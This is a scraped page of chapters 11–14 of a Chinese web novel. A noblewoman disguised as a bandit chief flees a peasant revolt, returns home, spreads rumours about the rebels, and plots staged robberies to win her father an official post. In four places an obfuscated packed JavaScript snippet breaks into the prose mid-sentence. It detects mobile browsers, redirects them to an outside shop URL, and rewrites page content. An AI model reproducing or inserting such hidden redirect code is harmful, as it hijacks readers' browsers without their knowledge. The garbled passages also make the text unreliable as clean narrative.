大当家们开会,一眼看过去,领头的都是莽夫,他们身后坐的狗头军师们,看起来稍微斯文点,但做派也不像大家族里出来的。这就导致,大家商量起事情来,像是在村里开大会。 “到底干不干!就一句话的事!干的话,明天我们就去打郡城,然后把城门一关,朝廷官兵来了,我们也能扛个半年一年的。” “干!”“都到这一步了,就干他这一票!” 夏文君:“不干。” 在众人怒视的目光中,夏文君清了清嗓子,软哒哒的说道:“我觉得吧,这样不太好,真打起来,可是要死人的……我建议大家啊,还是先避避风头……忍一时风平浪静,退一步海阔天空……” 她慢悠悠的长篇大论,坐在夏文君旁边的那位大当家直接打断。 “大家别听她的。刚坐下我就听他说了,他是平安郡的人。” 这么一说,诸位大当家一下子就释然了,也不瞪夏文君了。 平安郡来的人嘛,都这样,没啥好说的。 11.第 11 章 夏文君不仅不敢带着人往前冲,她还怂恿大家猥琐发育。 “朝廷大军前来平乱,我们硬碰硬,肯定打不过。咱们不如一起去平安郡,平安郡没人闹事,挺安全的。”夏文君说话的眼神,格外真诚。 但她的话刚一说完,夏云林扮演的狗头军师,就扯了扯她的袖子,恨铁不成钢。 “大当家,你快别说了。平安郡的人是什么成色,你自己还不知道吗?都是官府的狗腿,去一个检举一个。您最好还是跟大家一起行动,免得回平安郡,还死得不明不白。” 夏文君胡说八道,只是想维护一下自己平安郡人的人设。可不是真想劝大家去平安郡。 所以她还安排了夏云林替她收一下尾。免得真有傻子信了,往平安郡跑。 自古以来农民起义只是打个前站,很少有人成功,因为大部分的农民起义都缺乏战略规划。基本上在起义初期,就跟闷头苍蝇一样,胡乱抢掠,成为流寇,没有稳固和建设地盘的能力,根本发展不起来。 银江郡这边的民乱一起,夏文君就大概猜到,这次的叛乱,有九成的可能会失败。 但失败的同时,银江郡也会被搅和成一团乱。 乱得越厉害,折损的官员越多,夏家人借机上位做官的可能性就越高。所以夏文君才搁银江郡做搅屎棍。 平安郡那可是自己的老家,兔子还不吃窝边草呢。夏文君从没想过祸害自家。 她建议大家去平安郡,只是因为她‘怂’,夏云林建议大家别去平安郡,那可是条理清晰,理由充足,还特别有血性。 原本对平安郡还有些心动的人,脑子立刻就清醒了。 “这平安郡不能去,去了也无处藏身,早晚会落在官府手里。” “没错。平安郡的百姓怂的很,也还没到吃不起饭的地步,根本劝不动,肯定不会跟我们一起反抗。” 谁不想过太平日子?这不是没办法吗?他们现在的身份,也只敢在银江郡闹腾,因为银江郡的规则都已经被他们给打乱了。其他地方的规则可还在,除非大军压境,否则一股一股的流民进入平安郡,就是自投罗网。 夏文君这种有平安郡户籍的,回平安郡还有一线生机。银江郡的人此刻去平安郡,绝对是严加审查的对象。 看大家都态度坚定的不去平安郡,夏文君满意了。 “兄弟们,冷静点,无论是打县城,还是打郡城。伤亡都太大了。实在不行,还可以等朝廷招安嘛,万一招安了还能给个官做呢。”夏文君这一开口,依旧是平安郡本地人的口音。 “做官?去阎王那里做官你去不去啊?” 不出意外,夏文君被怼了。但她嘿嘿一笑,也不介意。 一群人对朝廷怨念十足,对皇帝的昏庸,也有十分清醒的认知,根本不抱幻想。 说来说去,最后就只有一个办法,抢大户的粮食,攻打城池,靠城墙守护,还能多苟一段时间。 大家讨论得火热朝天,一会儿说强攻,一会儿说偷袭…… 在座的大当家们,别说读书了,识字的都少。这就导致,哪怕他们看不起夏文君的性格,却不得不被她说的各种计策折服。 “怪不得,你这个脾气,能当上老大。脑子好使就是不一样。” “嘿嘿~总得有点拿得出手的东西嘛。”夏文君笑得憨厚。 她全程只管出主意,思想上夏文君和大家同仇敌忾,行动上嘛,她还是要往后退的,谁叫她是平安郡来的‘窝囊蛋’呢。 夏文君之前说的也不全是假话。她是真的不想死。 打仗就没有不死人的。在战场上,做将军的有大部队掩护,有亲军誓死追随,只要不是吃了很大的败仗,一般死不了。前线的炮灰可就不一样了,一死死一片。 如今这种情况,夏文君要是被裹挟进去了,就是一个纯纯的炮灰。 掺合进银江郡的破事,本就迫不得已,谁乐意拿自己的小命做赌注。尤其是把自己绑在一个必败的战车上。 该出的主意都出得差不多了,就在大家热烈讨论该采用哪条攻城计策的时候,夏文君就惊恐的看向大家。 “这里人多嘴杂,我们这这么草率的决定了?不怕有人走漏风声吗?” 一句话,让诸位大当家直接闭嘴。 全场寂静了两秒,会议结束,散会。 手底下人多的几个大当家互相使眼色,约定私下商议。夏文君手底下就百多号人,根本不被重视,一散会,她就找机会带人溜了。 一百多号人,手上带着利器,但穿得破破烂烂,行李破破烂烂,诸位流寇一看就知道这是同行,路过别人家山头的时候,盘问两句,基本就被放行了。 这个时候可不敢穿得太好,看起来太有钱,会被宰的。 也不敢表现得太弱,太弱也会被欺负。 “居然都没人强行招揽我们。”夏云林忍不住感慨,“回去的路上,好像也没那么危险嘛。” “那是我们人多!要是我们人少,你看我们会不会被带上山去干杂活。我们现在这人数,不是几千人的大团伙,不敢收下我们的,怕我们喧宾夺主了。” 偏偏那些大团伙,这时候都顾忌着夏文君散播的留言,忙着想法子自救,没工夫搭理夏文君他们这伙人,而且也不想内部打起来,提前消耗自己的实力。 连过了几个大山头,夏文君他们都平安无事。 快到平安郡的地界了,疤二娘才好奇的问道:“大当家,其他人都往郡城那边聚集,我们往平安郡走,真的安全吗?还是说,挨着平安郡,大鱼比较多?” 都快到家了,夏文君也没继续忽悠,直接说了实话。 “大鱼没有,只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200442|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍微安全一点,朝廷大军来的时候,死得晚一点。如果你们想搏一搏,可以跟着大部队的人去攻打县城和郡城。但此举,死亡率极高。” 夏文君瞄了一眼丁大壮他们手里的长刀,说道:“看在你们跟了我这么久的份上。你们要走的话,武器可以带走。” 丁大壮还没来得及表忠心,后提拔起来的小队长赵猴子就拍马屁道:“大当家你放心,小的就认定你了,你赶我走我也不走。我生是你的人,死是你的鬼……” “好好好,你的心意我知道。”夏文君随意敷衍。 大家才共事了两个月,好多人还是被自己抢上山干杂活的,对她能有多忠心?这些话听听就算了。 夏文君清了清嗓子,安排道:“你们先在这个山头,暂时驻扎两天。我带人去平安郡那边探探路,打听一下消息,买了粮食就回来。” “好。”众人乖巧点头。 “这两个大箱子里装的是粮食,小箱子里装的是铜钱,另一个麻袋里装的是绢布。我要是一直没回来,你们就把这些钱分了,投奔别的大当家去吧。” “别说这话……”“好!” 马屁精和铁憨憨同时出声,搞得场面忽然尴尬了两秒。 夏文君轻笑出声,“我是真心的,可不是在考验你们。我要是不回来了,你们就赶紧拿着东西走吧。” 最开始抢的钱财,她还敢拿去郡城换粮食,后面开始散播谣言,她就不敢进城,怕被堵里面了。所以队伍里还剩不少金饼和铜钱,金饼她拿了,粮食绢布她本就准备分给其他人。 她找的是保镖,丁大壮他们找的是饭票。虽然是互相利用,但好歹相识一场。夏文君做事还是留了点良心,带人走的时候,就拿了两天的口粮,剩下的都留给了大家。 “我也想跟着一起的。大当家怎么不带我呢。”赵猴子一脸的沮丧,他还想在大当家面前献殷勤,升级为二当家或是三当家呢。 丁大壮想也不想就反驳,“你在想屁吃。大当家连我都没带,怎么会带你。大当家就带了王二他们那几个心腹。” 说着说着,两人忽然对视一眼,忽然有点慌了。 以前不管是巡逻还是值夜,关键的任务,夏文君都会留一个心腹盯着。现如今,夏文君把心腹都带走了! 这感觉有点不太妙啊。 “大当家她不会……”赵猴子干笑一声,剩下的没敢说。 但莫名的,平时不对付的两人,忽然就心有灵犀了。 丁大壮幽幽的补充,“大当家会做假的过所文书,我见到过。而且大当家的言谈举止,一看就不像一般人,一般人哪能文武双全……” 他的话还没说完,赵猴子就悲伤的说道:“完了,大当家不要你了!” 丁大壮有点破防了,“放屁。大当家不要你了!再胡说我给你一巴掌!” 12.第 12 章 夏文君还没走几天呢,留下的队伍就有人互殴起来,差点内讧,赵猴子和丁大壮他们几个小队长,彼此都没给对方好脸色看。 但大家吵归吵,闹归闹,都没拿散伙开玩笑。 大当家的不在,不能主持公道,其他人想的也是将就着过呗,还能跑咋滴。 哪怕夏文君走之前,给他们留了话,支持他们分了东西跑路。甚至夏文君走的时候,还把心腹带走了,那态度明显有些不对劲。 但只要还有一线希望,大家都老实的等着。 怕夏文君去平安郡可能出了什么意外,买不了粮食回来,丁大壮他们自己开火,吃得还挺省,都是吃个半饱,完全比不上夏文君还在时候的伙食水平。 但此时,夏文君已经回家吃香的喝辣的了。 历时两个多月,千辛万苦的才回到家。 一回到家,夏云林就抱着他大哥嚎上了,“大哥啊,你都不知道我这段时间过的是什么苦日子,我差点就见不到你了啊……” “苦了你了二弟!你都瘦了。”族长夏云华揽着弟弟的肩膀,差点飙泪。 夏云华仔细看了看弟弟和侄女,发现两人都好好的,没缺胳膊少腿,他心里才松了口气。 “外头风大,咱们别在这外头说话了,赶紧回家去吧。弟妹和两个侄儿上个月就已经回家了,一直惦记着你们呢。” “母亲和两个哥哥都没事吧。”夏文君追问。 “没事,他们绕路回来的,虽然花了点时间,但一路上还算安全。” 夏云林见到大哥的时候,那是毫无顾忌,冲上去就诉苦,轮到自己夫人,他立刻扭捏上了。 在花月容扑上来,想替他检查身体的时候,夏云林想也不想就躲开。 “夫人你先别急,我好着呢。我现在身上不止脏,还有跳蚤虱子。等我去沐浴完再来跟你说话。” 说完,他就急急的叫下人备水,自己往洗漱间里跑。 如此贴心的夏云林,让夏云华这个大哥愣了一下。他伸出胳膊,看了看自己的衣服,又摸了摸自己的头发。不知道是心理作用还是怎么回事,他觉得自己身上也开始痒了。 “夏二,你个混账!”夏云华骂完,转身小跑回自己院子,他也要洗澡。 在外面摸爬滚打的时候,不觉得难受。一回到家,夏文君就觉得浑身刺挠。她也来不及多说什么,就赶紧带着自己人收拾个人卫生去了。 夏云林比较矫情,沐浴速度慢一些。 夏文君就干脆利落得多,洗完澡把衣服扔掉,头上用布裹着药粉,就去找花月容说话。 “喝着粥,吃着甜糕。我才算是活过来了。”吃点甜的,确实能让人有好心情,此刻,夏文君才算是完全放松下来。 “慢些吃,少吃些,先养养肠胃。”花月容心疼的说道:“你瘦得下巴都尖了,也不知道在外面吃了多少苦。” “谁能料到,银江郡会在这个时候乱起来,也是我们倒霉。”夏文君他们离家,是为了避祸,谁知道外面更危险。 太监选妃的事,就像是最后一根稻草,压垮了很多人。 他们平安郡抗压能力比较强,其他地方叛乱的人可多了,不止银江郡乱。 “银江郡这次乱了个彻底,肯定会死伤大量的官员。咱们家可以提前疏通一下关系,万一事后能推两个人上去呢。”夏文君建议道。 族中是否有人做官,干系到一族的兴衰,就算是贪生怕死的人,硬着头皮也得上。 危险和机遇并存,夏家这样已经落魄的家族,不借此机会,怕是很难再爬上去。 “我刚从京都回来,就给郡守夫人送了两本新的诗集,她格外喜欢,后面我再去勤一些,多多打探消息。”花月容说道:“你大伯这个族长做得没什么私心,但若要靠,还是得靠你父亲。” 夏文君也是这个意思,自己亲爹做官,总比族人靠谱。 等朝廷派军镇压了银江郡的叛乱,就算有危险,也比他们回来的这一路上好。 她们俩正说着话呢,夏云林就带着俩儿子进屋了,一进屋他就吐槽,“你二哥下手也太重了,皮都差点给我搓掉一层。辣么烫的水,就往我身上泼,都给我烫红了!” 夏文轩挠了挠下巴,表情无辜,他觉得水温挺合适的啊。他这么孝顺帮亲爹洗澡,亲爹不感动就算了,还说他。 看夏云林这么生龙活虎的,花月容也不担心了,“赶紧来坐下吃点东西。你们回来的路上都没吃好过。” 夏云林一来,就挥手把房间里伺候的人赶走,凑到花月容身边,捧起碗,准备细说这段时间发生的精彩八卦。 “夫人你是不知道,我们这段时间过得有多刺激。有一个大秘密,你肯定猜不到是我们做的。” 他的话一起头,他的好大儿夏文博就凑到了他的身边,眼巴巴的等他说话。 夏云林嫌弃的看了大儿子一眼,吩咐道:“想在边上听,就给我捶腿。这两月走得,我脚底板都长了一层厚茧。最开始走出水泡的时候,我的脚那叫一个疼啊。我说走慢一点,文君还不让……” “爹,话可不是这么说的。我脚上也起泡了的呀。不敢停,那是因为时机不合适……”夏文君反驳。 怕夏云林说八卦的时候,给她添油加醋,扭曲事实,夏文君也在一旁盯着,随时补充。 家里最贪图享受,最不爱吃苦的两个,这次出去,都吃够了苦头。 虽然父女俩插科打诨,说得轻松,花月容还是红了眼眶。 托诛九族的福,夏云林说话不用有什么顾忌,杀头的事情也敢往外说,这一路回家的旅程,被他描述得惊险又刺激。 “那宦官跑到我们跟前来找事,也是他命该绝……我们这一路上,简直是神挡杀神,佛挡杀佛,血溅在脸上,都不带眨眼的…… ” 夏云林夸的是自己,但家里人却都用震惊的眼神看夏文君。 做了这么多年的家人,谁不知道谁啊。虽然夏文君是家中最小的,但她做事可比夏云林稳重多了。 知道夏文君亲自动了手,花月容心疼的摸了摸夏文君的头发,又摸了摸她的耳朵,“今晚母亲去你院子陪你睡可好?” “不用。我没做噩梦。甚至这段时间都没做过梦,我睡得挺好的。” 夏文君刚开始也以为自己会不适应,但如今这世道,死亡率高得过分,见多了之后,她对死亡也少了很多恐惧。 这一路的逃亡,没给夏文君造成什么不可磨灭的影响,第二天她就照常出门,去农庄看自己的作坊,去街上巡视自己的铺子,接了小姐妹邀请赏梅花的帖子,和老师预约了下次上课的时间…… 夏云林在家里躺平了两天都没心思出门,夏文君就已经带着最新的八卦消息来找他了。 “爹,别躺了,现如今皇上伤重,东宫的大皇子被训斥,是西宫的二皇子监国,王大人和大皇子沾亲,过两天的寿辰不敢大办,这个时候给他送礼,一定能突出重围。王大人爱狂草,您可以送字。” “行行行,我知道了,待 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210151|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿我就去出去打听王大人的情况。” 夏云林忍不住叹口气,敬佩道:“就你这样,知道的说咱们是从银江郡逃回来的。不知道的,还以为你是去玩了一圈回来的。你还真是什么事都不往心里搁啊。” “谁说的?”说得她好像没心没肺似的。 夏文君一脸正经的说道:“爹你难道没注意吗?昨天我出去逛街,买了匹骏马,买了金球水晶项链、珍珠排钗、金蝴蝶步摇、七宝璎珞,还去定制了两套衣裙。今天农庄那边,还会送两只小羊羔,十只鸡和十只鸭子过来。” 不用细数就知道,自己一整年的零花钱都不够买这些东西,夏云林震惊的问道:“这日子你不过啦?一下子花这么多钱。” 夏文君微笑,“我努力挣钱,是为了享受生活。人生最痛苦的事情,就是人死了,钱还没花完。生命无常,我要对自己更好一点,再好一点!” 她现在还只是有点小钱,想让夏云林做官,是想让家中有权。有钱有权的最终目的,就是让自己过得舒坦。 可惜的是,夏云林的礼送了出去,也入了王大人的眼,就是做官的机会一直不来。 “现在京都又换成大皇子监国,王大人又威风起来了。但银江郡那边到现在都还没个说法,也不知道要拖多久。” 夫人和女儿都把他给安排了,夏云林也只能给自己做心里建设,劝自己努力谋官。 但这官也不是他想做就能做的,夏云林有些惆怅的说道:“昨日银江郡城就被叛军内外合作攻破,消息已经快马加鞭送去京都。五日之内,应该会有朝廷派兵的消息吧。” 但五天之后又五天,朝廷依旧没有派兵的动静。 夏文君手里的鸡腿都不香了,“完了,都忙着内斗去了,这大皇子和二皇子不争出个结果来,怕是没人管银江郡了。” “你爹我可能这辈子就没做官的命。”短时间内,那官位是到不了手了,夏云林准备躺平。 夏文君瞪他一眼,说道:“爹你想什么呢,我们还有机会的。朝廷势大,咱们就借朝廷的势,乱军势大,我们就借乱军的势。仙河县离银江郡近,仙河县令最胆小,最近一直在郡城找关系,想调到郡城来。我们可以派人假装叛军,吓唬吓唬仙河县令,说不定会有意外效果。” 连乱后的银江郡,他们夏家都敢去搏一搏,更别说平安郡内的县城。 因为又准备干坏事了,夏文君不自觉的就想起了以前一起干坏事的伙伴。 她带着人去仙河县踩点的时候,还是忍不住转了个弯,多跑了两个时辰路,准备去之前离开的那个山头看看。 “这都一个多月了,他们肯定已经分了钱粮,各奔东西去了。”夏云林劝道:“来回得大半天呢,别去了吧。” “来都来了,还是去看看。”话是这么说的,但其实夏文君心里也没报什么期待。 可一到当初双方分开的山头,夏文君就惊奇的发现,丁大壮他们居然还在。 双方碰面的时候,都露出来同款表情,意外又惊喜。 “你们居然没走?”“你居然回来了?” “我们想等粮食吃完了,实在过不下去了再走。”“我回来看看你们,要是还没走的话,给你们送点粮食。” 双方异口同声的问,又异口同声的回答。 明明刚搭伙的时候,彼此都看不太顺眼。 没想到经过时间的考验,猛然发现,原来彼此还是有那么一丝丝真心在的。 虽然不多,但好歹有。 13.第 13 章 一个多月都没有见面了,忽然又碰头,夏文君还做不到之前那么理直气壮的安排人。 可能是脱离了大当家这个身份定位,夏文君说话还客气了不少,“你们的粮食还没吃完啊?最近的生意不错?” “没什么生意,最近都没人往这边走,抢不到什么东西。就算有大鱼,大当家你不在,我们没敢动手。粮食到现在还没吃完,是因为我们吃得比较省。” 夏文君眼里半个月的口粮,他们省一省能吃一两个月。 其实想一想,夏文君这个大当家,对他们也算不错了,自从跟了他,不仅不用饿肚子,还能学本事,实力强的,手里还能捞一把好的武器,能在乱世傍身。 当初他们跟着夏文君的时候,可是一穷二白,空着手来的。现在手里的东西,都是夏文君给的。 而且夏文君从来不会随意打骂欺辱下属,每次骂人,都是被底下的人做蠢事气到了才骂的。 明明夏文君消失的那一个多月,丁大壮他们还在暗骂夏文君不够义气。 可夏文君一旦现身,丁大壮他们自己就把自己给哄好了。 大当家不就是跑了一个多月嘛,又不是把他们给杀了,而且大当家这不是又回来了吗?有什么不能原谅的。 在夏文君放下来支援的粮食,正琢磨着该说什么告别的时候,丁大壮和赵猴子他们就围了上来。 “大当家,你不要走啊。” “大当家,你别丢下我们,没了你,我们可怎么活啊。” “大当家你知道的,我刚出来落草为寇就遇上了你,一身本事都是你教的,我只想当你的小弟,我不想跟别的大当家混啊。” “大当家你说句话啊,是不是我们太没用了,你才不想要我们。” 都说树挪死,人挪活,但在一个地方待久了的人,是真不乐意挪窝。相处这么久,他们都熟悉了夏文君,知道她能力强,人也好。别的大当家谁知道是什么脾气,万一把自己挪死了呢。 夏文君觉得这群人的下限有点低。明明都看得出她是抛下人跑路了,还认她做大当家。 不过她在自己的下限也不是很高。 眼前这群人都不是什么好人,都当土匪了,当然不可能是什么正人君子,恶习还不少。可就凭他们没走,一直在山上等自己的消息,还认自己做老大,夏文君就觉得养他们也不亏。 她长叹一口气,语气坚定的说道:“行,既然你们还认我文六,我也不坑你们。跟着我做事,虽然也有杀头的风险,但比去跟着银江郡的叛军裹乱的好。” 夏家干的坏事,目的可单纯了,就是为了谋官,跟叛国的风险可没法比。 要是东窗事发,被人逮住了把柄,多花点钱,推两个安排好的替罪羊顶锅就行,风险在可控范围之中。 “都当土匪了,谁还怕杀头。只要跟着大当家能吃上饭,我这辈子就跟定大当家了。” 丁大壮这过于朴实的话,让夏文君噎了一下。就不能说是折服于她的人格魅力吗?一点都不懂语言的艺术。 好在队伍里还是有那么几个马屁精的,赵猴子就真情实感的表忠心道:“只要能跟着大当家,饿死,我也乐意。跟着大当家,我心里稳当。” “行了,你们的心意我知道。你们在这山上待了这么久,东西也消耗得差不多了,年底了,明日我就安排人给山上送些年货。过两天,我再带你们去干票大的。” 在众人期待的目光中,留在山上这话,夏文君还是说不出口。 山上这条件是真的很差。不说家中的豪宅,连马车都比山上这条件好。 “我这段时间要去踩点,准备挑人劫富济贫,实在没办法一直在这山上待着。” 夏文君觉得自己的借口非常正当。 但不留两个人在山上,不仅不能安丁大壮他们的心,也不能安自己的心。 夏文君转头刚想吩咐王二,珊瑚就主动说道:“郎君,我留下吧,我识字,能看得懂您的密信,交流起来更方便。我从小跟在您身边,与族中的郎君都打过照面,出了事好打配合。而且王二他们还得护着您的安全。” 以前在家里的时候,夏文君身边的事,也是她们几个侍女手拿把掐。动刀子的事,风头被王二抢了无所谓,这些动脑子的事,可不能让王二抢了先。 “行,那就珊瑚你带两个人留下,我过两天再来。” 珊瑚留下,主动请缨的丁大壮和赵猴子,则被夏文君带走。 真成了夏文君的人,丁大壮他们立刻就品出了不同。 一下山,他俩就换上了一身体面的衣服,到了夏家之后,别说米饭了,还能吃上大鱼大肉。 “这半只鸭子和一条鱼,是我俩的?” “是你俩的,吃吧。六娘子说我们这段时间跟着她吃了苦,要给我们补回来。而且这不是马上要去替六娘子做事了吗?愿意给六娘子卖命的人,六娘子从来不会亏待。” 王二说得轻松,在丁大壮两人震惊的目光中,他还有些小得意。 “这点吃食不算什么。上个月六娘子还赏了我们一人五十贯钱。奖励我们在回平安郡的路上,杀敌有功。” 就夏文君给他们的待遇,别说护送夏文君回家了,为她效死,王二几人也是愿意的。 在收买人心这种事上,夏文君从没有吝啬过。 什么都不给,还指望人家死心塌地,那就是痴人说梦。 夏文君如今手下的人也不多,最亲近的就是身边的几个侍女和护卫,若是连身边人都没有好待遇,底下人还能有什么盼头? 要是爬上去了也只能吃糠咽菜,根本就不会有人想往上爬,更别说为主家效死了,笑死还差不多。 丁大壮和赵猴子两个,被王二口中的五十贯钱震得呆了好一会儿才反应过来,结结巴巴的问道:“这钱真给啊?” “给啊。我钱都是花了一半了,下个月我就能成亲了。出去这一趟,六娘子给的赏钱,比我这辈子攒的都多。” 王二现在可算是理解了夏文君口中的‘危险和机遇并存’,不去银江郡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223549|149925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干这一票,他一辈子都拿不到这么多钱。 他们一家虽然是夏文君买回来的,但有钱了,王二也没想过赎身。没有靠山,有钱也把握不住。对比一下他家现在和以前的生活就知道了。 从钱的冲击中反应过来,赵猴子忽然发现了另一个疑点,“六娘子?文六郎?” “文六是在外头的名号。咱们主子姓夏,名文君,在家中排行第六。六娘子既然挑中了你们两个,把你们带了回来,就没准备瞒你们。但咱们六娘子是城里出了名的人品贵重,才华横溢,高风亮节,冰魂雪魄……” 夸了半天,把自己知道的好词夸完了,王二才总结道:“六娘子愿意用你们两个,是你俩的福气。你们若是嘴巴不严,在外头胡说了什么,不仅不会有人信,你俩也不会有什么好果子吃。” “那不可能,大当家的对我们多好啊,离了大当家,谁还能对我们这么好……嘿嘿~这鸭子真香啊,王二哥,我们能吃了吗?” “赶紧吃!吃完把自己收拾干净,再去见六娘子。” 王二无语的说道:“又没拦着不让你们吃,我就是看在咱们以前交情上,提前跟你们说清楚家中的情况,免得你们后面犯错。” 好歹并肩作战了两个月,别说夏文君,王二也跟他们处出了点感情,怕他们不知天高地厚犯了夏文君的忌讳,提前给他们紧紧皮。 丁大壮一边听王二念叨,一边干饭。心里还有些不以为意,王二也是想多了,他什么水平啊,他敢去惹大当家? 别说以后不敢乱来,他以前也没敢乱来过! 夏文君的积威仍在,哪怕她从文六郎变成了夏六娘,丁大壮两人在她跟前,也是屁都不敢放一个。 “你俩的身份特殊,白日里不许出门瞎转悠。” “好好好。” “明天一早,你俩就跟王二一起,去仙河县的李家和张家外头把路线踩熟。这两家衰败得只剩名头,前几年就已经退居乡下耕读。李家更是因为分家产的事兄弟阋墙,李家大房孤立无援,是最好的下手对象。” “好好好。” 但缓了两秒,丁大壮忍不住问道:“这李家和张家都落魄没钱了。我们抢他们,能过个肥年吗?” “你是不想活了吗?非得去捏硬柿子?”夏文君瞥他一眼。 “哦哦哦,想活想活,听大当家的,就李家,李家好。” 夏文君傲娇的轻哼一声,真当她去仙河县是玩的呀,她是认真做过调研的。 在和丁大壮他们汇合之前,夏文君打算动用的是家族里培养出来的人,这种好几代人都跟着夏家混的忠心仆从,她哪敢拿去做消耗品。 她不仅挑选过人,还挑选过地方,找的都是方便撤退的地点。 抢不抢得到东西无所谓,本来就是做做样子,但人最好不能有折损。 丁大壮他们这伙人,虽然是她半路抢来的,但夏文君也从没想过把自己人的命当成消耗品。 夏文君每日自省,都觉得自己还是太善良了。 14.第 14 章 夏文君觉得自己比家里人都更尊重生命,是家里最善良的那个。只是她格局打太开了一点,路子太野了一点,家里都没把她当好人看。 至于她在外面的好名声。在夏云林眼里,那都是装出来的。 在外面谁不装啊,他还在外面装闲云野鹤呢。女儿在外面装正人君子,不是一件很正常的事情吗? 有时候没装好,夏云林还要友情提示一番。 “你这阵子老在外面说银江郡叛军的凶狠,把别人吹太狠了,会不会影响你有勇有谋的形象。 ” 夏文君一脸淡定,“个人的力量,怎么能跟千军万马比?银江郡的叛军都疯成那样了,我们暂避锋芒,是应该的。” 平安郡内,关于叛军的流言,最开始还普普通通。 不过是有乱民杀了选妃的太监,怒而造反,然后占领了银江郡的城池。 到后面,经过夏文君的艺术加工,银江郡的叛军,简直是狠辣异常。 杀选妃的太监,可不止是杀那么简单,太监的尸体被愤怒的人群砸成了肉酱,还挫骨扬灰了……怒而造反,那也不是一般的愤怒,叛军直接烧了府衙,后来还把郡守脑袋割下,悬首示众……聚集到银江郡的乱民,那也都是被逼急了的,饿红了眼,烧杀抢掠啥都干…… 夏文君他们一行人是安全回来了,但他们回来的过程可不太能见人。 总不能说,知道自己打不过乱民,直接加入,成为土匪头子,一路抢人抢粮,抢回了家。 在夏文君口中,他们回家这一路,格外的狼狈,回家的路上,马车、行李被抢,马儿被人当场宰杀吃了肉,他们东躲西藏,才可怜兮兮的回到家中。 她说的时候,其他小娘子和小郎君,还十分惋惜。 “你买的可是好马,他们就这么杀来吃了?简直是暴殄天物,不识货。” 马是夏文君自己卖的,但现在她却装作心疼,编排道:“何止是杀马吃马肉。他们还生喝马血呢。当时吓得我心都漏跳了一拍,生怕他们饿急眼了吃人。” 看把大家都吓白了脸,夏文君才补充道:“但我们也算是运气好,乱民抢我们的东西的时候,叛乱才刚刚开始,下手没那么狠,见我们态度配合,也没杀人,放我们走了。我跟父亲贴身藏着些金叶子,拿去换了些粮食还有粗布衣服,还坚持到了回家。” 夏文君把回家的过程,描述得险象环生,搞得大家伙都忍不住揪心 “当初咱们平安郡的小娘子离开,那可是一窝蜂的往外跑。但能从银江郡那个方向回来的,却是少数。也不知道那些小娘子还能不能回来。” 夏文君摇了摇头,惋惜的说道:“怕是难了。你们是不知道,如今的银江郡,盗匪横行,还管杀不管埋,我们回来的路上,看到了许多尸骨。” 叛军搞死了很多银江郡的世家,在士人之间的口碑本来就不行。 夏文君再这么添油加醋,煽风点火,叛军的名声就更坏了。 也就是丁大壮他们没机会出门转悠,否则肯定会忍不住替自己叫屈。 他们出来混,也就混口饭吃。 怎么就传得茹毛饮血,吃上人肉了呢,吃完了还把头盖骨踢着玩。 夏文君是正面描述叛军的强大凶狠,夏云林则是另一个套路,他侧面烘托,外加显摆自己。 在好友面前,夏云林直接把牛往大了吹。 “当时一支百多人的叛军拦在我们面前,一个个的身上都还带着血呢。我一支穿云箭,‘嗖’的一下,直中领头人的眉心,那一百多人当场就愣住了,转头就开始逃命。我又是‘嗖’的几箭过去,无人可挡……” 夏云林总结:“小小叛军,不足为惧!” 他还指望着去谋官,总不能表现得太怂,这样谁敢推他上位?所以他只能这么硬着头皮吹。 鉴于夏云林以前的好脾气和好人缘,朋友们也都特别捧场,知道夏云林在装逼,也乐呵呵的看他装。 最坏心眼的,想的也不过是捧杀两句,没有故意拆台的。 气氛都烘托到这儿了,再不行动就不合适了。 在夏云林带着大儿子在外面搞舆论的时候,家里剩下的三人,就凑在一堆,商量起了行动时间。 “你大伯也同意咱们搏一搏,安排了一百五十人,昨晚已经偷偷送到郊外农庄。我们家里也能找出五十个好手,凑在一起两百多人。这批人,由你二哥带着,去劫掠张家。” 夏文轩一边抱着梨咔嚓咔嚓的啃,一边回答道:“我没问题。我这刀法可不是白练的。” “丁大壮那伙人,别人也使唤不动,还是得六娘你来。你带人去李家,要是有事,就赶紧撤,你最重要。”花月容说的时候,忍不住心疼的替夏文君理了理鬓角的头发,“辛苦我儿了。” “我乐意的,不辛苦。”夏文君端起桌上的银耳雪梨羹,拿着银勺优雅的喝了两口,野心勃勃的说道:“这天下没有白得的好东西。自己去争,去抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 